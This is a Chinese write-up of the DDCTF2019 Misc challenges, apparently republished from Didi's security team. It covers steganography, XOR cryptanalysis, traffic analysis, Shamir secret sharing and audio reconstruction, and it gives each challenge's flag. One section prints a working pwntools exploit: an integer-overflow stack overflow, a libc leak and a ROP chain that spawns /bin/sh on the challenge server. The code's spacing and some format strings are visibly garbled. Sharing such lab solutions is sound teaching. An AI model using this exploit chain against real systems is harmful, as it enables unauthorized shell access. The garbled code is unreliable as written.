【知识库】DDCTF2019官方Write Up——Misc篇

百家 作者:滴滴安全应急响应中心 2019-04-26 09:43:41

官方writeup公布时间线

对于没有被选手探索到的出题预设路径,出题人将现身说法,带来官方解读。


Misc作者介绍:****

哈尔滨工业大学 /研一/Misc Top1


文章目录

Misc? Write Up

0x01 :真-签到题

0x02 :北京地铁

0x03 :MulTzor

0x04 :[PWN] strike(内含出题人视角解析)

0x05 :Wireshark(内含出题人视角解析)

0x06 :联盟决策大会

0x07 :伪-声纹锁(内含出题人视角解析)


真-签到题

01

公告中给出flag:

DDCTF{returnDDCTF::get(2019)->flagOf(0);}

? 北京地铁

02

给了一个bmp。图片分析,根据题目描述,应该是AES-ECB加密,目前通过低位隐写拿到了base64(ciphertext),密钥16bytes未知.hint:Color Threshold 则通过gimp2查看Color Threshold,仍然没有线索,等到hint:关注图片本身的时候,无意间看了图片,发现魏公村颜色不对,根据提示,可能是密钥。

pwn@7feilee:/mnt/c/Users/7feilee/Downloads$?zsteg?color.bmp?--all?--limit?2048
/usr/lib/ruby/2.5.0/open3.rb:199:?warning:?Insecure?world?writable?dir?/home/pwn/.cargo/bin?in?PATH,?mode?040777
imagedata???????????..?text:?")))XXX)))"
b1,rgb,lsb,xy???????..?text:?"iKk/Ju3vu4wOnssdIaUSrg=="

尝试解密:

cipher?=?base64.b64decode("iKk/Ju3vu4wOnssdIaUSrg==")
key?=?"weigongcun"
key?=key+(16-len(key))*"x00"
print?key
from?Crypto.Cipher?import??AES
aes?=??AES.new(key,?AES.MODE_ECB)
print?aes.decrypt(cipher)
#?weigongcun
#?DDCTF{CD*Q23&0}

flag:DDCTF{CD*Q23&0}

MulTzor


03

题目提供的是hex,根据题目分析,可知是词频分析,本打算统计词频分析来做,想到了xortools,猜测词频中最常见的字符为0x20,即空格符。

txt?=?"38708d2a29ff535d9e3f20f85b40df3c3fab465b9a731ce55b54923279e85b4397362be25c54df2020f8465692733ce5535193363dab465b9a732eee41479a2137ab735f933a3cf8125a91730ee4405f9b730eea4013b61a79ff5d138d3638ef12408a312aff535d8b3a38e71252923c2ce54640df3c3fab7f5c8d203ca6515c9b363dab40529b3a36ab515c923e2ce55b509e2730e45c40df3c3fab465b9a7318f35b40df2336fc57418c732de35347df3b38ef12519a3637ab575d9c3a29e357419a3779fe415a913479ce5c5a983e38ab5f529c3b30e55740d1730de35b40df2a30ee5e579a3779e65b5f962738f94b13963d2dee5e5f96343ce55156df2431e2515bd37338e75d5d98732ee2465bdf2731ea4613992136e6125c8b3b3cf912579a302bf242479a3779ca4a5a8c732bea565a907338e556138b3635ee4241963d2dee40138b2138e5415e96202ae25d5d8c7f79fc5340df3430fd575ddf2731ee125090373ce5535e9a730ce746419e7d79df5a5a8c732eea41139c3c37f85b579a213cef125186732eee41479a2137ab61468f213ce65713be3f35e25757df1036e65f5291373cf91277883a3ee34613bb7d79ce5b409a3d31e445568d732de4125b9e253cab50569a3d79a956569c3a2ae24456dd732de41247973679ca5e5f96363dab445a9c2736f94b1df5590de35713ba3d30ec5f52df3e38e85a5a91362aab45568d3679ea12559e3e30e74b13903579fb5d418b323be757139c3a29e35741df3e38e85a5a91362aab455a8b3b79f95d47902179f851419e3e3be757418c7d79cc5d5c9b7336fb57419e2730e555138f2136e857578a213cf81e138f2136fb5741932a79ee5c5590213aee561fdf2436fe5e57df3b38fd571392323dee1247973679fb5e46983136ea4057df1637e2555e9e7334ea515b963d3cab475d9d213cea59529d3f3ca5127b90243cfd5741d37334e44147df3c3fab465b9a731eee405e9e3d79e65b5f962738f94b13993c2be85740d3732aee51419a2779f85741893a3aee41139e3d3dab515a893a35e2535ddf323eee5c5096362aab465b9e2779fe41569b731ce55b54923279ee5f43933c20ee56138f3c36f9125c8f362bea465a913479fb405c9c363dfe40568c7f79ea5c57df3a2dab45528c732de357409a7329e45d41df232be451569b262bee41138b3b38ff1252933f36fc5757df2731ee1276913a3ee6531392323ae35b5d9a2079ff5d139d3679f957459a212aee1f56913430e557568d363dab535d9b732de357139c3a29e357418c732de412519a732bee5357d15953df5a56df143cf95f52917329e747549d3c38f9561e9a222ce242439a3779ce5c5a983e38ab50569c3234ee127d9e2930ab75568d3e38e54b148c7329f95b5d9c3a29ea5e139c2120fb465cd22020f84656927d79c2461388322aab504190383ce5125186732de35713af3c35e2415bdf143ce557419e3f79d8465299357ef81270962331ee4013bd262bee5346df3a37ab76569c3634e95741df6260b8001fdf2430ff5a138b3b3cab535a9b7336ed12758d3637e85a1e8c2629fb5e5a9a3779e25c479a3f35e2555691303cab5f528b362be2535fdf3c3bff535a91363dab5441903e79ea12749a2134ea5c138c2320a51272df3e36e5465bdf313ced5d419a732de3571390262de940569e3879e45413a83c2be75613a8322bab7b7ad37338ff1252df3036e554568d3637e85713973635ef125d9a322bab65528d2038fc1e138b3b3cab625c933a2ae31270962331ee4013bd262bee5346df2031ea40569b7330ff4113ba3d30ec5f52d2312bee5358963d3eab46569c3b37e243469a2079ea5c57df273ce85a5d903f36ec4b13883a2de31247973679cd4056913031ab535d9b731bf95b47962031a512778a2130e555138b3b3cab75568d3e38e5125a912538f85b5c917336ed1263903f38e5561fdf3036f95713af3c35e2415bdf1030fb5a568d731bfe40569e2679fb57418c3c37e5575fdf243cf957139a2538e847528b363da71245963279d95d5e9e3d30ea1e138b3c79cd405291303cab455b9a213cab465b9a2a79ee41479e3135e2415b9a3779ff5a56df031aab70418a3d36ab415a983d38e74113963d2dee5e5f96343ce55156df202dea465a903d79fc5b4797731ff9575d9c3b79ed5350963f30ff5b568c732afe424390212da512608a303aee4140992635ab515c90233cf95347963c37ab535e903d3eab465b9a7309e45e568c7f79ff5a56df152bee5c50977f79ea5c57df2731ee12718d3a2de2415bdf322dab705f9a273ae35e56867309ea4058df3036e5465a91263cef1246912730e712798a3d3cab030acb6375ab455b9a3d79cd405291303cab41468d213ce556568d363dab465cdf2731ee12749a2134ea5c40d15953cd405c92732de35b40df313cec5b5d913a37ec1e138b3b3cab7041962730f85a13b83c2fee405d923637ff127090373cab535d9b731af2425b9a2179d8515b903c35ab1a74bc751ad81b139e2779c95e568b3031e7574adf0338f959139d2630e746138a2379ea5c139a2b2dee5c4096253cab514186232dea5c52932a2de251139c3229ea505a933a2df21c13b63d30ff5b52933f20a71247973679ef57508d2a29ff5b5c91732eea4113923230e55e4adf3c3fab7e4699272eea54559a7371cc5741923237ab535a8d733fe440509a7a79ea5c57df3279ed5744df1b3cee4013d7143cf95f52917338f95f4ad67334ee41409e343cf81e139e2079ff5a56df182be257548c3e38f95b5d9a7371cc5741923237ab5c52892a70ab575e8f3f36f25757df3e2ce85a13923c2bee12409a302cf957138f2136e857578a213cf81255902179fe415a913479ce5c5a983e38a51272933237ab66468d3a37ec1e139e731aea5f518d3a3dec5713aa3d30fd57418c3a2df2125e9e2731ee5f528b3a3ae2535ddf3237ef125f903430e85b52917f79fb405c893a3dee561392263ae3125c99732de35713902130ec5b5d9e3f79ff5a5a913830e555138b3b38ff125f9a3779ff5d138b3b3cab56568c3a3ee5125c99732de357139c2120fb4652913235f2465a9c3235ab505c92313cab5f529c3b30e55740df2731ea461388362bee125a91202df9475e9a3d2dea5e13963d79ee445691272cea5e5f86733bf95752943a37ec1247973679e553459e3f79ce5c5a983e38a5127b90243cfd5741d3732de35713b42130ee554092322be25c56df3a37ff405c9b263aee56139e3d79ce5c5a983e38ab44568d2030e45c13883a2de31252df3536fe404797732be4465c8d733fe4401396272aab671e9d3c38ff411fdf213cf8475f8b3a37ec125a917338ab4241903f36e555569b7329ee405a903779fc5a5691732de357409a7334ee41409e343cf81250902635ef125d902779e957139b363af94b438b363da51264962731ab465b9a733aea42478a213cab5d55df213ce757459e3d2dab515a8f3b3cf912589a2a2aab535d9b732de357138a203cab5d55df3e2ce85a1399322aff5741df060aab7c52892a79e95d5e9d362aa712419a342ce75341d3732bea425a9b732bee5357963d3eab5d55df0674e95d528b7334ee41409e343cf812419a202ce65757d15953df5a56df3535ea5513962063ab7677bc071ff002579c3638b806069d326dbd040bcf3169e90101cc3761ea0a02cf656db8570a82"
txt?=?txt.decode("hex")
print?len(txt)
print?len(set(txt))
open("xorout","wb").write(txt[1:])#xortools分析过一次,发现第一位是噪音干扰值,直接去除。
pwn@7feilee:/mnt/c/Users/7feilee$?xortool?xorout?-c?20
The?most?probable?key?lengths:
???3:???11.9%
???6:???19.7%
???9:???9.4%
??12:???14.5%
??15:???7.1%
??18:???11.2%
??21:???5.3%
??24:???8.4%
??30:???6.8%
??36:???5.7%
Key-length?can?be?3*n
1?possible?key(s)?of?length?6:
3xffSYx8bw
Found?1?plaintexts?with?95.0%+?printable?characters
See?files?filename-key.csv,?filename-char_used-perc_printable.csv
pwn@7feilee:/mnt/c/Users/7feilee$?xxd?xortool_out/0.out
00000000:?4372?7970?7424?6e61?6c79?732c?7320?6f66??Crypt$nalys,s?of
00000010:?2031?6865?2045?6e2c?676d?6120?632c?7068???1he?En,gma?c,ph

发现明文中有1/6的字母是错误的,应该是key的一位有问题,找到原文https://en.wikipedia.org/wiki/Cryptanalysis_of_the_Enigma?

得到key:3xffSYx8b2 解密:

print?repr(txt[:16])
data?=?open("xortool_out/0.out","rb").read()
print?data
xxx?=?'''Cryptanalysis?of?the?Enigma?ciphering?system?enabled?the?western?Allies?in?World?War?II?to?read?substantial?amounts?of?Morse-coded?radio?communications?of?the?Axis?powers?that?had?been?enciphered?using?Enigma?machines.?This?yielded?military?intelligence?which,?along?with?that?from?other?decrypted?Axis?radio?and?teleprinter?transmissions,?was?given?the?codename?Ultra.?This?was?considered?by?western?Supreme?Allied?Commander?Dwight?D.?Eisenhower?to?have?been?"decisive"?to?the?Allied?victory.'''
out?=?""
for?i?in?range(0,493):
????out?+=chr(ord(txt[i+1])^ord(xxx[i]))
print?repr(out)
length?=?2654
key?=?"3xffSYx8b2"
plain?=""
for?i?in?range(0,2654):
????plain?+=chr(ord(txt[i+1])^ord(key[i%6]))
print?plain

flag:

DDCTF{0dcea345ba46680b0b323d8a810643e9}

? ? ? [PWN] strike

04

本题是一道很基础的栈溢出的pwn题,leak libc基址然后rop即可。看了下大家的解答,大概有3到4解决方法,主要表现在leak libc的方式不同。就像题目名字一样strike,这仅仅是个开始,大家继续pwn pwn pwn吧。

--------------选手Write Up--------------

pwn题 静态分析:

?read(v2,?&buf,?0x40u);return?fprintf(a2,?"Hello?%s",?&buf);?

这里可以泄露栈上的数据。

???v5?=?&a1;
??setbuf(stdout,?0);
??sub_80485DB(stdin,?stdout);
??sleep(1u);
??printf("Please?set?the?length?of?password:?");
??nbytes?=?sub_804862D();
??if?(?(signed?int)nbytes?>?63?)
??{
????puts("Too?long!");
????exit(1);
??}
??printf("Enter?password(lenth?%u):?",?nbytes);
??v1?=?fileno(stdin);
??read(v1,?&buf,?nbytes);
??puts("All?done,?bye!");
??return?0;

nbytes是无符号数,(signed int)nbytes可以整数溢出,从而buffer overflow,栈不可执行,可以rop on libc.动态调试发现第一个泄露中有ebp地址,还有setbuf的地址。程序结尾代码段如下。

mov?????eax,?0
lea?????esp,?[ebp-8]
pop?????ecx
pop?????ebx
pop?????ebp
lea?????esp,?[ecx-4]
retn

通过调试,从而可以控制ecx,从而恢复esp。(通过之前泄露的ebp地址,调试发现最终的返回地址为ebp+8,所以之前的栈上数据覆盖为ebp+8+4,最终pop ecx,lea esp, [ecx-4],控制esp为原来的esp。从而可以pop esp,跳转到libc中,从而rop。脚本如下。

#-*-?coding:utf-8
from?pwn?import?*
from?struct?import?pack
##?remote?libc
def?rop(addr):
????p?=?''
????p?+=?pack(',?addr+0x00001aa6)?#?pop?edx?;?ret
????p?+=?pack(',?addr+0x001b0040)?#?@?.data
????p?+=?pack(',?addr+0x00023f97)?#?pop?eax?;?ret
????p?+=?'/bin'
????p?+=?pack(',?addr+0x0006b34b)?#?mov?dword?ptr?[edx],?eax?;?ret
????p?+=?pack(',?addr+0x00001aa6)?#?pop?edx?;?ret
????p?+=?pack(',?addr+0x001b0044)?#?@?.data?+?4
????p?+=?pack(',?addr+0x00023f97)?#?pop?eax?;?ret
????p?+=?'//sh'
????p?+=?pack(',?addr+0x0006b34b)?#?mov?dword?ptr?[edx],?eax?;?ret
????p?+=?pack(',?addr+0x00001aa6)?#?pop?edx?;?ret
????p?+=?pack(',?addr+0x001b0048)?#?@?.data?+?8
????p?+=?pack(',?addr+0x0002c5fc)?#?xor?eax,?eax?;?ret
????p?+=?pack(',?addr+0x0006b34b)?#?mov?dword?ptr?[edx],?eax?;?ret
????p?+=?pack(',?addr+0x00018395)?#?pop?ebx?;?ret
????p?+=?pack(',?addr+0x001b0040)?#?@?.data
????p?+=?pack(',?addr+0x000b4047)?#?pop?ecx?;?ret
????p?+=?pack(',?addr+0x001b0048)?#?@?.data?+?8
????p?+=?pack(',?addr+0x00001aa6)?#?pop?edx?;?ret
????p?+=?pack(',?addr+0x001b0048)?#?@?.data?+?8
????p?+=?pack(',?addr+0x0002c5fc)?#?xor?eax,?eax?;?ret
????p?+=?pack(',?addr+0x00007eec)?#?inc?eax?;?ret
????p?+=?pack(',?addr+0x00007eec)?#?inc?eax?;?ret
????p?+=?pack(',?addr+0x00007eec)?#?inc?eax?;?ret
????p?+=?pack(',?addr+0x00007eec)?#?inc?eax?;?ret
????p?+=?pack(',?addr+0x00007eec)?#?inc?eax?;?ret
????p?+=?pack(',?addr+0x00007eec)?#?inc?eax?;?ret
????p?+=?pack(',?addr+0x00007eec)?#?inc?eax?;?ret
????p?+=?pack(',?addr+0x00007eec)?#?inc?eax?;?ret
????p?+=?pack(',?addr+0x00007eec)?#?inc?eax?;?ret
????p?+=?pack(',?addr+0x00007eec)?#?inc?eax?;?ret
????p?+=?pack(',?addr+0x00007eec)?#?inc?eax?;?ret
????p?+=?pack(',?addr+0x00002c87)?#?int?0x80
????return?p
context.log_level?=?"debug"
libc?=?ELF('./libc.so.6')
setbuf?=?libc.symbols['setbuf']
p?=?remote("116.85.48.105",?5005)
p.recvuntil("Enter?username:?")
p.send("a"*60)
p.recv(66)
offset?=?u32(p.recv(4))-setbuf
p.recv(8)
ebp?=?u32(p.recv(4))
print?hex(ebp)
print?hex(offset)
p.recvuntil("Please?set?the?length?of?password:?")
p.sendline("-1")
p.recv()
#?payload?=?"a"*0x4c+rop(offset)
payload??=?p32(ebp+8+4)*((0x4c+8)/4)?+?rop(offset)
print?repr(payload)
#?gdb.attach(p)
p.sendline(payload)
p.interactive()

flag:

DDCTF{s0_3asy_St4ck0verfl0w_r1ght?}

Wireshark


05

本题是对选手基本能力的考察,需要选手熟悉使用wireshark等流量分析工具,很多选手看到流量中的图片上传网址后,便想去破解相关网站的用户密码,试图去网站获得图片,殊不知踏破铁鞋无觅处,图片就在流量中。这种题目应该从整体出发,将流量中的种种行为通读一下,实际上选手通过分析流量中的种种蛛丝马迹,很容易发现思路:流量中有两个网址,一个是上传图片的网站,一个是图片解密网站,还有两个图片上传操作。通过查看图片解密网站,发现需要一个图片和秘钥,而流量中有两个图片,而且图片之一是一个key的样式,猜测其中有诈,通过恢复该图片的原始尺寸,便可获得隐藏其中的key,最后将另一个图片上传至解密网址,即可解密获得flag。

--------------选手Write Up--------------

wireshark数据包分析,通过分析TCP流,follow -> TCP steam,其中有图片(PNG头),搜索http contains flag,http contains DDCTF没有信息。http contains PNG发现三张图片,查看发现了一个interesting.png和upload.png,通过File -> export Object HTTP 和 010editor,可以拿到三张图片还有一些静态网站。

隐写分析,发现两张图片一样,猜测一张是图种,interesting.png是隐写后的图片,stegsolve分析,调整图片高度,和水印都没有结果,猜测跟upload.png有关系,是个key图样的图片,隐写分析通过调整图片高度,拿到key:gKvN4eEm。通过导出的静态网站中发现很多跟图片相关的网站,猜测可能是在线图片加解密,通过导出HTTP Object的信息,

http://tools.jb51.net/aideddesign/img_add_info可以加解密图片,测试在线解密

interesting.png。key为gKvN4eEm flag:flag+AHs-44444354467B786F6644646B65537537717335414443515256476D35464536617868455334377D+AH0-
print?"44444354467B786F6644646B65537537717335414443515256476D35464536617868455334377D".decode("hex")
#DDCTF{xofDdkeSu7qs5ADCQRVGm5FE6axhES47}

flag:

DDCTF{xofDdkeSu7qs5ADCQRVGm5FE6axhES47}

联盟决策大会


06

考点:secret sharing, shamir 题目描述:至少A,B同时大于等于三个成员一起才能打开密钥,则分析一共有两次秘密分享,第一次分成了三份,A,B各一份,然后A,B分别分成了五份,然后分给A,B成员。则两次恢复即可。脚本参考http://mslc.ctf.su/wp/plaidctf-2012-nuclear-launch-detected-150-password-guessing/,代码如下:

import?gmpy2
from?Crypto.Util.number?import?long_to_bytes,bytes_to_long
p?=0x85FE375B8CDB346428F81C838FCC2D1A1BCDC7A0A08151471B203CDDF015C6952919B1DE33F21FB80018F5EA968BA023741AAA50BE53056DE7303EF702216EE9
f11?=0x60E455AAEE0E836E518364442BFEAB8E5F4E77D16271A7A7B73E3A280C5E8FD142D3E5DAEF5D21B5E3CBAA6A5AB22191AD7C6A890D9393DBAD8230D0DC496964
f12?=0x6D8B52879E757D5CEB8CBDAD3A0903EEAC2BB89996E89792ADCF744CF2C42BD3B4C74876F32CF089E49CDBF327FA6B1E36336CBCADD5BE2B8437F135BE586BB1
f14?=0x74C0EEBCA338E89874B0D270C143523D0420D9091EDB96D1904087BA159464BF367B3C9F248C5CACC0DECC504F14807041997D86B0386468EC504A158BE39D7
f23?=0x560607563293A98D6D6CCB219AC74B99931D06F7DEBBFDC2AFCC360A12A97D9CA950475036497F44F41DC5492977F9B4A0E4C8E0368C7606B7B82C34F561525
f24?=0x445CCE871E61AD5FDE78ECE87C42219D5C9F372E5BEC90C4C4990D2F37755A4082C7B52214F897E4EC1B5FB4A296DBE5718A47253CC6E8EAF4584625D102CC62
f25?=0x4F148B40332ACCCDC689C2A742349AEBBF01011BA322D07AD0397CE0685700510A34BDC062B26A96778FA1D0D4AFAF9B0507CC7652B0001A2275747D518EDDF5
pairs?=?[]
pairs?+=?[(1,?f11)]
pairs?+=?[(2,?f12)]
pairs?+=?[(4,?f14)]
pairs2?=?[]
pairs2?+=?[(3,?f23)]
pairs2?+=?[(4,?f24)]
pairs2?+=?[(5,?f25)]
res1?=?0
for?i,?pair?in?enumerate(pairs):
????x,?y?=?pair
????top?=?1
????bottom?=?1
????for?j,?pair?in?enumerate(pairs):
????????if?j?==?i:
????????????continue
????????xj,?yj?=?pair
????????top?=?(top?*?(-xj))?%?p
????????bottom?=?(bottom?*?(x?-?xj))?%?p
????res1?+=?(y?*?top?*?gmpy2.invert(bottom,?p))?%?p
????res1?%=?p
print?res1
res2?=?0
for?i,?pair?in?enumerate(pairs2):
????x,?y?=?pair
????top?=?1
????bottom?=?1
????for?j,?pair?in?enumerate(pairs2):
????????if?j?==?i:
????????????continue
????????xj,?yj?=?pair
????????top?=?(top?*?(-xj))?%?p
????????bottom?=?(bottom?*?(x?-?xj))?%?p
????res2?+=?(y?*?top?*?gmpy2.invert(bottom,?p))?%?p
????res2?%=?p
print?res2
pairs3?=?[(1,res1),(2,res2)]
res3?=?0
for?i,?pair?in?enumerate(pairs3):
????x,?y?=?pair
????top?=?1
????bottom?=?1
????for?j,?pair?in?enumerate(pairs3):
????????if?j?==?i:
????????????continue
????????xj,?yj?=?pair
????????top?=?(top?*?(-xj))?%?p
????????bottom?=?(bottom?*?(x?-?xj))?%?p
????res3?+=?(y?*?top?*?gmpy2.invert(bottom,?p))?%?p
????res3?%=?p
print?res3
print?repr(long_to_bytes(res3))
#?'DDCTF{nYrpbcscdNgqX63IdtnkLrq9FQvwfa2f}'

flag:

DDCTF{nYrpbcscdNgqX63IdtnkLrq9FQvwfa2f}

伪-声纹锁


07

其实这题是一个相当简单的题目,可以用一句话说明:给定傅里叶级数的系数计算原函数并采样成音频。原题给出的fingerprint实际上是音频的频谱图(Spectrogram)又称声指纹(Voiceprint)。
同学说的很对,影响质量的主要是采样频率低(香农采样定理),实测生成fingerprint时只要把音频sample rate(源码的sr)=30000时就可以得到较为清晰的原音频。出题时设为15000是想为了减少计算时间方便同学迭代,考虑到能根据单词猜出flag所以没考虑太多。除此以外,通过一些算法也可以弥补音频质量低的问题,比如说考虑到这是人声,可加入低通滤波器(比如<500Hz)来增强低频部分抗混叠,得到的音频也是能够听清所读的字母的。

--------------选手Write Up--------------

分析给的voice_lock文件,首先在限定的采样频率范围内进行傅里叶变换(首先采样频率范围小,在采样频率范围之内只有150个频率采样点,采样率低,导致还原的信号失真,混叠)。根据滑动窗口大小,进行傅里叶逆变换,得到较为失真的音频(虽然满足了calc_diff<3,但是仍然听不出flag) 分析过程:

还原音频程序:

import?cmath
import?librosa??#?v0.6.2,?maybe?ffmpeg?is?needed?as?backend
import?numpy?as?np??#?v1.15.4
from?scipy.fftpack?import?fft,?ifft
import?sys
from?PIL?import?Image??#?Pillow?v5.4.1
import?matplotlib.pyplot?as?plt

window_size?=?2048
step_size?=?100
max_lim?=?0.15
f_ubound?=?2000
f_bins?=?150
sr?=?15000

def?transform_x(x,?f_ubound=f_ubound,?f_bins=f_bins):
????freqs?=?np.logspace(np.log10(20),?np.log10(f_ubound),?f_bins)
????seqs?=?[]
????for?f?in?freqs:
????????seq?=?[]
????????d?=?cmath.exp(-2j?*?cmath.pi?*?f?/?sr)
????????coeff?=?1
????????for?t?in?range(0,?len(x)):
????????????seq.append(x[t]?*?coeff)
????????????coeff?*=?d
????????seqs.append(seq)
????sums?=?[]
????for?seq?in?seqs:
????????X?=?[sum(seq[:window_size])/window_size]
????????for?t?in?range(step_size,?len(x),?step_size):
????????????X.append(X[-1]-sum(seq[t-step_size:t])/window_size)
????????????if?t+window_size-step_size?< ?len(x):
????????????????X[-1]?+=?sum(seq[t+window_size-step_size:t?+
?????????????????????????????????window_size])/window_size
????????sums.append(X)
????return?np.array(sums)

def?calc_diff(x,?spec):
????x?=?transform_x(x)
????print(x.shape)
????diff?=?0
????for?i?in?range(0,?x.shape[0]):
????????xx?=?np.abs(x[i])
????????xx?=?np.round(linear_map(xx,?np.min(
????????????xx),?np.max(xx),?0,?255)).astype(np.uint8)
????????sp?=?np.abs(spec[i])
????????sp?=?np.round(linear_map(sp,?np.min(
????????????sp),?np.max(sp),?0,?255)).astype(np.uint8)
????????diff?+=?np.linalg.norm(xx-sp)
????return?diff/x.shape[0]/x.shape[1]

freqs?=?np.logspace(np.log10(20),?np.log10(f_ubound),?f_bins)

N?=?95000

def?linear_map(v,?old_dbound,?old_ubound,?new_dbound,?new_ubound):
????return?(v-old_dbound)*1.0/(old_ubound-old_dbound)*(new_ubound-new_dbound)?+?new_dbound

def?image_to_array(img):
????img_arr?=?linear_map(np.array(img.getdata(),?np.uint8).reshape(
????????img.size[1],?img.size[0],?3),?0,?255,?-max_lim,?max_lim)
????return?img_arr[:,?:,?1]?+?img_arr[:,?:,?2]?*?1j

C_fingerprint?=?image_to_array(Image.open('fingerprint.png'))

dataRecovered?=?[0?for?i?in?range(N)]
dataRecoveredWriteCount?=?[0?for?i?in?range(N)]

for?windowStart?in?range(0,?93000,?step_size):
????print('loop(',?windowStart,?'/',?93000,?')')
????xLen?=?100

????F?=?[]
????for?i?in?range(len(freqs)):
????????F.append((C_fingerprint[i][int(windowStart/100)])?*
?????????????????cmath.exp(2j?*?cmath.pi?*?freqs[i]?/?sr?*?(100*int(windowStart/100))))

????xRecovered?=?[]
????for?n?in?range(100):
????????result?=?0
????????for?ad?in?range(len(freqs)):
????????????f?=?freqs[ad]
????????????fw?=?F[ad]
????????????result?+=?fw?*?cmath.exp(2j?*?cmath.pi?*?f?/?sr?*?n)
????????xRecovered.append(result)
????xRecovered?=?np.array(xRecovered)

????for?ad?in?range(xLen):
????????xr?=?xRecovered[ad]
????????adAllocate?=?windowStart?+?ad
????????dataRecovered[adAllocate]?=?(
????????????dataRecovered[adAllocate]?*?dataRecoveredWriteCount[adAllocate]?+?xr)?/?(dataRecoveredWriteCount[adAllocate]?+?1)
????????dataRecoveredWriteCount[adAllocate]?+=?1
dataRecovered?=?np.real(dataRecovered)
out?=?[]
librosa.output.write_wav("recovered.wav",?dataRecovered,?sr)

for?i?in?range(0,?150):
????out.append([C_fingerprint[i][j]?for?j?in?range(0,?950)])
out?=?np.array(out)
print(calc_diff(dataRecovered,?out))

print('done!')

得到音频文件,跟官方人员沟通提交脚本和还原的音频后,得到flag:DDCTF{VOICE_ENCODED_TEST}

—————?End?—————

? ? 延伸阅读? ??

【知识库】DDCTF2019官方Write Up——Android篇

【知识库】DDCTF2019官方Write Up——Reverse篇

官网题目仍开放访问,点击“阅读原文“前往

? ? 关于漏洞 ? ?

滴滴出行相关漏洞请提交至

http://sec.didichuxing.com/

关注公众号:拾黑(shiheibook)了解更多

[广告]赞助链接:

四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

公众号 关注网络尖刀微信公众号
随时掌握互联网精彩
赞助链接